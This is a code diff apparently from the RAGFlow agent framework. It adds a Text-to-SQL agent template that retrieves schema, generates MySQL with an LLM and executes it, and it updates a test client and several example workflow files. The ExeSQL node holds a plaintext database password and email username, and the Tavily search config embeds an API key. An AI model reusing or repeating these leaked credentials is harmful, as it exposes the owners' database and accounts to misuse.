+                        "id": "Retrieval:HappyTiesFilm",
+                        "measured": {
+                            "height": 96,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 414,
+                            "y": 20.5
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "retrievalNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "cross_languages": [],
+                                "empty_response": "",
+                                "kb_ids": [
+                                    "0f968106727311f08357bafe6e7908e6"
+                                ],
+                                "keywords_similarity_weight": 0.7,
+                                "outputs": {
+                                    "formalized_content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "query": "sys.query",
+                                "rerank_id": "",
+                                "similarity_threshold": 0.2,
+                                "top_k": 1024,
+                                "top_n": 8,
+                                "use_kg": false
+                            },
+                            "label": "Retrieval",
+                            "name": "Question to SQL"
+                        },
+                        "dragging": false,
+                        "id": "Retrieval:SmartNewsHammer",
+                        "measured": {
+                            "height": 96,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 406.5,
+                            "y": 175.5
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "retrievalNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "cross_languages": [],
+                                "empty_response": "",
+                                "kb_ids": [
+                                    "4ad1f9d0727311f0827dbafe6e7908e6"
+                                ],
+                                "keywords_similarity_weight": 0.7,
+                                "outputs": {
+                                    "formalized_content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "query": "sys.query",
+                                "rerank_id": "",
+                                "similarity_threshold": 0.2,
+                                "top_k": 1024,
+                                "top_n": 8,
+                                "use_kg": false
+                            },
+                            "label": "Retrieval",
+                            "name": "Database Description"
+                        },
+                        "dragging": false,
+                        "id": "Retrieval:SweetDancersAppear",
+                        "measured": {
+                            "height": 96,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 403.5,
+                            "y": 328
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "retrievalNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "delay_after_error": 1,
+                                "description": "",
+                                "exception_default_value": "",
+                                "exception_goto": [],
+                                "exception_method": "",
+                                "frequencyPenaltyEnabled": false,
+                                "frequency_penalty": 0.7,
+                                "llm_id": "qwen-max@Tongyi-Qianwen",
+                                "maxTokensEnabled": false,
+                                "max_retries": 3,
+                                "max_rounds": 5,
+                                "max_tokens": 256,
+                                "mcp": [],
+                                "message_history_window_size": 12,
+                                "outputs": {
+                                    "content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "presencePenaltyEnabled": false,
+                                "presence_penalty": 0.4,
+                                "prompts": [
+                                    {
+                                        "content": "User's query: {sys.query}\n\nSchema: {Retrieval:HappyTiesFilm@formalized_content}\n\nSamples about question to SQL: {Retrieval:SmartNewsHammer@formalized_content}\n\nDescription about meanings of tables and files: {Retrieval:SweetDancersAppear@formalized_content}",
+                                        "role": "user"
+                                    }
+                                ],
+                                "sys_prompt": "### ROLE\nYou are a Text-to-SQL assistant.  \nGiven a relational database schema and a natural-language request, you must produce a **single, syntactically-correct MySQL query** that answers the request.  \nReturn **nothing except the SQL statement itself**\u2014no code fences, no commentary, no explanations, no comments, no trailing semicolon if not required.\n\n\n###  EXAMPLES  \n-- Example 1  \nUser: List every product name and its unit price.  \nSQL:\nSELECT name, unit_price FROM Products;\n\n-- Example 2  \nUser: Show the names and emails of customers who placed orders in January 2025.  \nSQL:\nSELECT DISTINCT c.name, c.email\nFROM Customers c\nJOIN Orders o ON o.customer_id = c.id\nWHERE o.order_date BETWEEN '2025-01-01' AND '2025-01-31';\n\n-- Example 3  \nUser: How many orders have a status of \"Completed\" for each month in 2024?  \nSQL:\nSELECT DATE_FORMAT(order_date, '%Y-%m') AS month,\n       COUNT(*) AS completed_orders\nFROM Orders\nWHERE status = 'Completed'\n  AND YEAR(order_date) = 2024\nGROUP BY month\nORDER BY month;\n\n-- Example 4  \nUser: Which products generated at least \\$10 000 in total revenue?  \nSQL:\nSELECT p.id, p.name, SUM(oi.quantity * oi.unit_price) AS revenue\nFROM Products p\nJOIN OrderItems oi ON oi.product_id = p.id\nGROUP BY p.id, p.name\nHAVING revenue >= 10000\nORDER BY revenue DESC;\n\n\n### OUTPUT GUIDELINES\n1. Think through the schema and the request.  \n2. Write **only** the final MySQL query.  \n3. Do **not** wrap the query in back-ticks or markdown fences.  \n4. Do **not** add explanations, comments, or additional text\u2014just the SQL.",
+                                "temperature": 0.1,
+                                "temperatureEnabled": false,
+                                "tools": [],
+                                "topPEnabled": false,
+                                "top_p": 0.3,
+                                "user_prompt": "",
+                                "visual_files_var": ""
+                            },
+                            "label": "Agent",
+                            "name": "SQL Generator "
+                        },
+                        "dragging": false,
+                        "id": "Agent:WickedGoatsDivide",
+                        "measured": {
+                            "height": 84,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 981,
+                            "y": 174
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "agentNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "database": "",
+                                "db_type": "mysql",
+                                "host": "",
+                                "max_records": 1024,
+                                "outputs": {
+                                    "formalized_content": {
+                                        "type": "string",
+                                        "value": ""
+                                    },
+                                    "json": {
+                                        "type": "Array<Object>",
+                                        "value": []
+                                    }
+                                },
+                                "password": "20010812Yy!",
+                                "port": 3306,
+                                "sql": "Agent:WickedGoatsDivide@content",
+                                "username": "13637682833@163.com"
+                            },
+                            "label": "ExeSQL",
+                            "name": "ExeSQL"
+                        },
+                        "dragging": false,
+                        "id": "ExeSQL:TiredShirtsPull",
+                        "measured": {
+                            "height": 56,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 1211.5,
+                            "y": 212.5
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "ragNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "content": [
+                                    "{ExeSQL:TiredShirtsPull@formalized_content}"
+                                ]
+                            },
+                            "label": "Message",
+                            "name": "Message"
+                        },
+                        "dragging": false,
+                        "id": "Message:ShaggyMasksAttend",
+                        "measured": {
+                            "height": 56,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 1447.3125,
+                            "y": 181.5
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "messageNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "Searches for relevant database creation statements.\n\nIt should label with a knowledgebase to which the schema is dumped in. You could use \" General \" as parsing method, \" 2 \" as chunk size and \" ; \"  as delimiter."
+                            },
+                            "label": "Note",
+                            "name": "Note Schema"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 188,
+                        "id": "Note:ThickClubsFloat",
+                        "measured": {
+                            "height": 188,
+                            "width": 392
+                        },
+                        "position": {
+                            "x": 689,
+                            "y": -180.31251144409183
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 392
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "Searches for samples about question to SQL. \n\nYou could use \" Q&A \" as parsing method.\n\nPlease check this dataset:\nhttps://huggingface.co/datasets/InfiniFlow/text2sql"
+                            },
+                            "label": "Note",
+                            "name": "Note: Question to SQL"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 154,
+                        "id": "Note:ElevenLionsJoke",
+                        "measured": {
+                            "height": 154,
+                            "width": 345
+                        },
+                        "position": {
+                            "x": 693.5,
+                            "y": 138
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 345
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "Searches for description about meanings of tables and fields.\n\nYou could use \" General \" as parsing method, \" 2 \" as chunk size and \" ### \"  as delimiter."
+                            },
+                            "label": "Note",
+                            "name": "Note: Database Description"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 158,
+                        "id": "Note:ManyRosesTrade",
+                        "measured": {
+                            "height": 158,
+                            "width": 408
+                        },
+                        "position": {
+                            "x": 691.5,
+                            "y": 435.69736389555317
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 408
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "The Agent learns which tables may be available based on the responses from three knowledge bases and converts the user's input into SQL statements."
+                            },
+                            "label": "Note",
+                            "name": "Note: SQL Generator"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 132,
+                        "id": "Note:RudeHousesInvite",
+                        "measured": {
+                            "height": 132,
+                            "width": 383
+                        },
+                        "position": {
+                            "x": 1106.9254833678003,
+                            "y": 290.5891036507015
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 383
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "Connect to your database to execute SQL statements."
+                            },
+                            "label": "Note",
+                            "name": "Note: SQL Executor"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "id": "Note:HungryBatsLay",
+                        "measured": {
+                            "height": 136,
+                            "width": 255
+                        },
+                        "position": {
+                            "x": 1185,
+                            "y": -30
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode"
+                    }
+                ]
+            },
+            "history": [],
+            "messages": [],
+            "path": [],
+            "retrieval": []
+        },
+    "avatar": "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAcFBQYFBAcGBQYIBwcIChELCgkJChUPEAwRGBUaGRgVGBcbHichGx0lHRcYIi4iJSgpKywrGiAvMy8qMicqKyr/2wBDAQcICAoJChQLCxQqHBgcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKir/wAARCAAwADADAREAAhEBAxEB/8QAGgAAAwEBAQEAAAAAAAAAAAAABQYHBAMAAf/EADIQAAEDAwMCBAMHBQAAAAAAAAECAwQFESEABjESEyJBUYEUYXEHFSNSkaGxMjNictH/xAAZAQADAQEBAAAAAAAAAAAAAAACAwQBAAX/xAAlEQACAgICAgEEAwAAAAAAAAABAgARAyESMQRBEyIycYFCkbH/2gAMAwEAAhEDEQA/AKHt2DGpNHXDLrZdWtSrIub39tZ5GbGwPA+pmDFkX7x7idvra85xqQaFNkxUTVIVJQzf8QpBFjbgEenNs681MnA9WJ6fEOKJoxVpSpFLTCo6KEZlTlLcQBIJS20hAv1D1ve+qPk52b0IsYuIGtyt7ZkVVNP+H3A5GdlN2u7GQUBSfmkk8cXH10tmLD6Yl0CG5qmTXBMZiQEMuvupUoKdc6UeEi4FsqOeBxrsKnv1AY+hJ2l5yfu6qQ6/UZtPDRHZ+Eldpsqz1hSrXJGLXwRxqxUQizFs7galPYUFDKT+h15oMuImspQpFiL+2i1A3A1bgxmixUgwlT8ZfgJ/y8P8HXdRuPZoxaqtfkQKbKqF03jtEoDeFKV1lNgfK4H764XfccVUgipvdiwKpFaXMLklFg4juuqV0m3Izg/MaEZCDYMScYqiJOd6xmqfUVfBJcWwtHV1Elfi87k51ViyhrsxL4ivQj1KrFZjTGjTJ8aShdyph5SUqFhwPzX9jpC0dXUqZK3ViHNq7oNaVJjz2Vw5LCrdKknpULZyfMf801MfI1e5NmpAGHUL12EZNFWWlhXSUuWHKgk3xomwEDuDhzLysySU9EndEVyIz3GmxJR+KpBIdCLlRHn/AFEjjIF9AMJlZ8gLZ/qUiJSg1Tu0HO4plFj4FC1h9NYfHIU7kwzgnqCJlKLiCO2s6hKytWiPJoFdfnLW7HS0or6bqXbjg2AI99XjAa3NPlL6jFTduOR5sd1+oyfjQMONqI7QOMA4V7/pqjHjC9SLNn56I1HiqrqTUKM0hbq2lpst5CQSST54xjSPJbICOHUhawISiRQ02T2Uq6AAkqFj/GquJQks1iEr/INLU82bploKSFXusG9xfjHofXQuQUNRoQqQT0ZwVEST5687iZWGgpDsebNbaTDfKVL/ALnbQU/UkKNhjXpFt0BJBVXe/wAGGG6YMlvvNkjlBGmKeJimHIVc0TY89akCKspT28C5BKgDyR7fvrCFI+q/1DQsvVfudYcVyKw49KU6tZyQbmwHFhrOKr9s0uz0CAIpbr3RKo1Rbh02C4HJISp2ZIz0pJ8IQk5Nr/QXznSX6NSnGAwHI/gD/TM+3vtAj1arJpcpgtPdPSH0kFt5wDxAWOOLgamIAFwijCfD927N2tGXuNxlK2W0occUhJWpR+QzzrPjc+pvyqT3Ftf2zbObf7YYecb6CrrDAGfy20wYMkA5Vjbtev7b3nEcXRela27d1ogoWi/rnQsjrqZzHdwzKoKUsqWz3mOnJUlZJt8uokD621w+RdzgynUkUpoUafPZXMnSHlrKluyX1Eug8XF7GwxbgWxrubMO5WmNRsCKtLfcY3rAU0nIltkBP+w0X8Jjdz//2Q=="
+}

agent/test/client.py

@@ -15,9 +15,8 @@
 #
 import argparse
 import os
-from functools import partial
 from agent.canvas import Canvas
-from agent.settings import DEBUG
+from api import settings
 
 if __name__ == '__main__':
     parser = argparse.ArgumentParser()
@@ -31,19 +30,17 @@ if __name__ == '__main__':
     parser.add_argument('-m', '--stream', default=False, help="Stream output", action='store_true', required=False)
     args = parser.parse_args()
 
+    settings.init_settings()
     canvas = Canvas(open(args.dsl, "r").read(), args.tenant_id)
+    if canvas.get_prologue():
+        print(f"==================== Bot =====================\n>    {canvas.get_prologue()}", end='')
+    query = ""
     while True:
-        ans = canvas.run(stream=args.stream)
+        canvas.reset(True)
+        query = input("\n==================== User =====================\n> ")
+        ans = canvas.run(query=query)
         print("==================== Bot =====================\n>    ", end='')
-        if args.stream and isinstance(ans, partial):
-            cont = ""
-            for an in ans():
-                print(an["content"][len(cont):], end='', flush=True)
-                cont = an["content"]
-        else:
-            print(ans["content"])
+        for ans in canvas.run(query=query):
+            print(ans, end='\n', flush=True)
 
-        if DEBUG:
-            print(canvas.path)
-        question = input("\n==================== User =====================\n> ")
-        canvas.add_user_input(question)
+        print(canvas.path)

agent/test/dsl_examples/baidu_generate_and_switch.json

@@ -1,129 +0,0 @@
-{
-  "components": {
-            "begin": {
-                "obj":{
-                    "component_name": "Begin",
-                    "params": {
-                      "prologue": "Hi there!"
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
-                "downstream": ["baidu:0"],
-                "upstream": ["begin", "message:0","message:1"]
-            },
-            "baidu:0": {
-                "obj": {
-                    "component_name": "Baidu",
-                    "params": {}
-                },
-                "downstream": ["generate:0"],
-                "upstream": ["answer:0"]
-            },
-            "generate:0": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-		              "prompt": "You are an intelligent assistant. Please answer the user's question based on what Baidu searched. First, please output the user's question and the content searched by Baidu, and then answer yes, no, or i don't know.Here is the user's question:{user_input}The above is the user's question.Here is what Baidu searched for:{baidu}The above is the content searched by Baidu.",
-                      "temperature": 0.2
-                    },
-                    "parameters": [
-                                      {
-                                          "component_id": "answer:0",
-                                          "id": "69415446-49bf-4d4b-8ec9-ac86066f7709",
-                                          "key": "user_input"
-                                      },
-                                      {
-                                          "component_id": "baidu:0",
-                                          "id": "83363c2a-00a8-402f-a45c-ddc4097d7d8b",
-                                          "key": "baidu"
-                                      }
-                                  ]
-                        },
-                "downstream": ["switch:0"],
-                "upstream": ["baidu:0"]
-            },
-            "switch:0": {
-                "obj": {
-                    "component_name": "Switch",
-                    "params": {
-                      "conditions": [
-                                        {
-                                            "logical_operator" : "or",
-                                            "items" : [
-                                                          {"cpn_id": "generate:0", "operator": "contains", "value": "yes"},
-                                                          {"cpn_id": "generate:0", "operator": "contains", "value": "yeah"}
-                                                      ],
-                                             "to": "message:0"
-                                        },
-                                        {
-                                            "logical_operator" : "and",
-                                            "items" : [
-                                                          {"cpn_id": "generate:0", "operator": "contains", "value": "no"},
-                                                          {"cpn_id": "generate:0", "operator": "not contains", "value": "yes"},
-							  {"cpn_id": "generate:0", "operator": "not contains", "value": "know"}
-                                                      ],
-                                            "to": "message:1"
-                                        },
-                                        {
-                                            "logical_operator" : "",
-                                            "items" : [
-                                                          {"cpn_id": "generate:0", "operator": "contains", "value": "know"}
-                                                      ],
-                                             "to": "message:2"
-                                        }
-                                    ],
-                      "end_cpn_id": "answer:0"
-
-                    }
-                },
-                "downstream": ["message:0","message:1"],
-                "upstream": ["generate:0"]
-            },
-            "message:0": {
-                "obj": {
-                    "component_name": "Message",
-                    "params": {
-                        "messages": ["YES YES YES YES YES YES YES YES YES YES YES YES"]
-                    }
-                },
-
-                "upstream": ["switch:0"],
-                "downstream": ["answer:0"]
-            },
-            "message:1": {
-                "obj": {
-                    "component_name": "Message",
-                    "params": {
-                        "messages": ["NO NO NO NO NO NO NO NO NO NO NO NO NO NO"]
-                    }
-                },
-
-                "upstream": ["switch:0"],
-                "downstream": ["answer:0"]
-            },
-            "message:2": {
-                "obj": {
-                    "component_name": "Message",
-                    "params": {
-                        "messages": ["I DON'T KNOW---------------------------"]
-                    }
-                },
-
-                "upstream": ["switch:0"],
-                "downstream": ["answer:0"]
-            }
-  },
-  "history": [],
-  "messages": [],
-  "reference": {},
-  "path": [],
-  "answer": []
-}

agent/test/dsl_examples/categorize_and_agent_with_tavily.json

@@ -7,16 +7,8 @@
                       "prologue": "Hi there!"
                     }
                 },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
                 "downstream": ["categorize:0"],
-                "upstream": ["begin"]
+                "upstream": []
             },
             "categorize:0": {
                 "obj": {
@@ -26,48 +18,68 @@
                       "category_description": {
                         "product_related": {
                           "description": "The question is about the product usage, appearance and how it works.",
-                          "examples": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?",
-                          "to": "message:0"
+                          "to": ["agent:0"]
                         },
                         "others": {
                           "description": "The question is not about the product usage, appearance and how it works.",
-                          "examples": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?",
-                          "to": "message:1"
+                          "to": ["message:0"]
                         }
                       }
                     }
                 },
-                "downstream": ["message:0","message:1"],
-                "upstream": ["answer:0"]
+                "downstream": [],
+                "upstream": ["begin"]
             },
             "message:0": {
-                "obj": {
+                "obj":{
                     "component_name": "Message",
                     "params": {
-                      "messages": [
-                        "Message 0!!!!!!!"
+                      "content": [
+                        "Sorry, I don't know. I'm an AI bot."
                       ]
                     }
                 },
-                "downstream": ["answer:0"],
+                "downstream": [],
+                "upstream": ["categorize:0"]
+            },
+            "agent:0": {
+                "obj": {
+                    "component_name": "Agent",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "sys_prompt": "You are a smart researcher. You could generate proper queries to search. According to the search results, you could deside next query if the result is not enough.",
+                      "temperature": 0.2,
+                      "llm_enabled_tools": [
+                        {
+                            "component_name": "TavilySearch",
+                            "params": {
+                              "api_key": "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"
+                            }
+                        }
+                      ]
+                    }
+                },
+                "downstream": ["message:1"],
                 "upstream": ["categorize:0"]
             },
             "message:1": {
                 "obj": {
                     "component_name": "Message",
                     "params": {
-                      "messages": [
-                        "Message 1!!!!!!!"
-                      ]
+                      "content": ["{agent:0@content}"]
                     }
                 },
-                "downstream": ["answer:0"],
-                "upstream": ["categorize:0"]
+                "downstream": [],
+                "upstream": ["agent:0"]
             }
   },
   "history": [],
-  "messages": [],
   "path": [],
-  "reference": [],
-  "answer": []
-}
+  "retrival": {"chunks": [], "doc_aggs": []},
+  "globals": {
+    "sys.query": "",
+    "sys.user_id": "",
+    "sys.conversation_turns": 0,
+    "sys.files": []
+  }
+}

agent/test/dsl_examples/concentrator_message.json

@@ -1,113 +0,0 @@
-{
-  "components": {
-            "begin": {
-                "obj":{
-                    "component_name": "Begin",
-                    "params": {
-                      "prologue": "Hi there!"
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
-                "downstream": ["categorize:0"],
-                "upstream": ["begin"]
-            },
-            "categorize:0": {
-                "obj": {
-                    "component_name": "Categorize",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "category_description": {
-                        "product_related": {
-                          "description": "The question is about the product usage, appearance and how it works.",
-                          "examples": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?",
-                          "to": "concentrator:0"
-                        },
-                        "others": {
-                          "description": "The question is not about the product usage, appearance and how it works.",
-                          "examples": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?",
-                          "to": "concentrator:1"
-                        }
-                      }
-                    }
-                },
-                "downstream": ["concentrator:0","concentrator:1"],
-                "upstream": ["answer:0"]
-            },
-            "concentrator:0": {
-                "obj": {
-                    "component_name": "Concentrator",
-                    "params": {}
-                },
-                "downstream": ["message:0"],
-                "upstream": ["categorize:0"]
-            },
-            "concentrator:1": {
-                "obj": {
-                    "component_name": "Concentrator",
-                    "params": {}
-                },
-                "downstream": ["message:1_0","message:1_1","message:1_2"],
-                "upstream": ["categorize:0"]
-            },
-            "message:0": {
-                "obj": {
-                    "component_name": "Message",
-                    "params": {
-                      "messages": [
-                        "Message 0_0!!!!!!!"
-                      ]
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["concentrator:0"]
-            },
-            "message:1_0": {
-                "obj": {
-                    "component_name": "Message",
-                    "params": {
-                      "messages": [
-                        "Message 1_0!!!!!!!"
-                      ]
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["concentrator:1"]
-            },
-            "message:1_1": {
-                "obj": {
-                    "component_name": "Message",
-                    "params": {
-                      "messages": [
-                        "Message 1_1!!!!!!!"
-                      ]
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["concentrator:1"]
-            },
-            "message:1_2": {
-                "obj": {
-                    "component_name": "Message",
-                    "params": {
-                      "messages": [
-                        "Message 1_2!!!!!!!"
-                      ]
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["concentrator:1"]
-            }
-  },
-  "history": [],
-  "messages": [],
-  "path": [],
-  "reference": [],
-  "answer": []
-}

agent/test/dsl_examples/customer_service.json

@@ -1,157 +0,0 @@
-{
-  "components": {
-            "begin": {
-                "obj":{
-                    "component_name": "Begin",
-                    "params": {
-                      "prologue": "Hi! How can I help you?"
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
-                "downstream": ["categorize:0"],
-                "upstream": ["begin", "generate:0", "generate:casual", "generate:answer", "generate:complain", "generate:ask_contact", "message:get_contact"]
-            },
-            "categorize:0": {
-                "obj": {
-                    "component_name": "Categorize",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "category_description": {
-                        "product_related": {
-                          "description": "The question is about the product usage, appearance and how it works.",
-                          "examples": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?\nException: Can't connect to ES cluster\nHow to build the RAGFlow image from scratch",
-                          "to": "retrieval:0"
-                        },
-                        "casual": {
-                          "description": "The question is not about the product usage, appearance and how it works. Just casual chat.",
-                          "examples": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?",
-                          "to": "generate:casual"
-                        },
-                        "complain": {
-                          "description": "Complain even curse about the product or service you provide. But the comment is not specific enough.",
-                          "examples": "How bad is it.\nIt's really sucks.\nDamn, for God's sake, can it be more steady?\nShit, I just can't use this shit.\nI can't stand it anymore.",
-                          "to": "generate:complain"
-                        },
-                        "answer": {
-                          "description": "This answer provide a specific contact information, like e-mail, phone number, wechat number, line number, twitter, discord, etc,.",
-                          "examples": "My phone number is 203921\nkevinhu.hk@gmail.com\nThis is my discord number: johndowson_29384",
-                          "to": "message:get_contact"
-                        }
-                      },
-                      "message_history_window_size": 8
-                    }
-                },
-                "downstream": ["retrieval:0", "generate:casual", "generate:complain", "message:get_contact"],
-                "upstream": ["answer:0"]
-            },
-            "generate:casual": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "You are a customer support. But the customer wants to have a casual chat with you instead of consulting about the product. Be nice, funny, enthusiasm and concern.",
-                      "temperature": 0.9,
-                      "message_history_window_size": 12,
-                      "cite": false
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["categorize:0"]
-            },
-            "generate:complain": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "You are a customer support. the Customers complain even curse about the products but not specific enough. You need to ask him/her what's the specific problem with the product. Be nice, patient and concern to soothe your customers’ emotions at first place.",
-                      "temperature": 0.9,
-                      "message_history_window_size": 12,
-                      "cite": false
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["categorize:0"]
-            },
-            "retrieval:0": {
-                "obj": {
-                    "component_name": "Retrieval",
-                    "params": {
-                      "similarity_threshold": 0.2,
-                      "keywords_similarity_weight": 0.3,
-                      "top_n": 6,
-                      "top_k": 1024,
-                      "rerank_id": "BAAI/bge-reranker-v2-m3",
-                      "kb_ids": ["869a236818b811ef91dffa163e197198"]
-                    }
-                },
-                "downstream": ["relevant:0"],
-                "upstream": ["categorize:0"]
-            },
-            "relevant:0": {
-                "obj": {
-                    "component_name": "Relevant",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "temperature": 0.02,
-                      "yes": "generate:answer",
-                      "no": "generate:ask_contact"
-                    }
-                },
-                "downstream": ["generate:answer", "generate:ask_contact"],
-                "upstream": ["retrieval:0"]
-            },
-            "generate:answer": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
-                      "temperature": 0.02
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["relevant:0"]
-            },
-            "generate:ask_contact": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "You are a customer support. But you can't answer to customers' question. You need to request their contact like E-mail, phone number, Wechat number, LINE number, twitter, discord, etc,. Product experts will contact them later. Please do not ask the same question twice.",
-                      "temperature": 0.9,
-                      "message_history_window_size": 12,
-                      "cite": false
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["relevant:0"]
-            },
-            "message:get_contact": {
-                "obj":{
-                    "component_name": "Message",
-                    "params": {
-                      "messages": [
-                        "Okay, I've already write this down. What else I can do for you?",
-                        "Get it. What else I can do for you?",
-                        "Thanks for your trust! Our expert will contact ASAP. So, anything else I can do for you?",
-                        "Thanks! So, anything else I can do for you?"
-                      ]
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["categorize:0"]
-            }
-  },
-  "history": [],
-  "messages": [],
-  "path": [],
-  "reference": [],
-  "answer": []
-}

agent/test/dsl_examples/intergreper.json

@@ -1,39 +0,0 @@
-{
-  "components": {
-            "begin": {
-                "obj":{
-                    "component_name": "Begin",
-                    "params": {
-                      "prologue": "Hi there! Please enter the text you want to translate in format like: 'text you want to translate' => target language. For an example: 您好！ => English"
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
-                "downstream": ["generate:0"],
-                "upstream": ["begin", "generate:0"]
-            },
-            "generate:0": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "You are an professional interpreter.\n- Role: an professional interpreter.\n- Input format: content need to be translated => target language. \n- Answer format: => translated content in target language. \n- Examples:\n  - user: 您好！ => English. assistant: => How are you doing!\n  - user: You look good today. => Japanese. assistant: => 今日は調子がいいですね 。\n",
-                      "temperature": 0.5
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["answer:0"]
-            }
-  },
-  "history": [],
-  "messages": [],
-  "reference": {},
-  "path": [],
-  "answer": []
-}

agent/test/dsl_examples/interpreter.json

@@ -1,39 +0,0 @@
-{
-  "components": {
-            "begin": {
-                "obj":{
-                    "component_name": "Begin",
-                    "params": {
-                      "prologue": "Hi there! Please enter the text you want to translate in format like: 'text you want to translate' => target language. For an example: 您好！ => English"
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
-                "downstream": ["generate:0"],
-                "upstream": ["begin", "generate:0"]
-            },
-            "generate:0": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "You are an professional interpreter.\n- Role: an professional interpreter.\n- Input format: content need to be translated => target language. \n- Answer format: => translated content in target language. \n- Examples:\n  - user: 您好！ => English. assistant: => How are you doing!\n  - user: You look good today. => Japanese. assistant: => 今日は調子がいいですね 。\n",
-                      "temperature": 0.5
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["answer:0"]
-            }
-  },
-  "history": [],
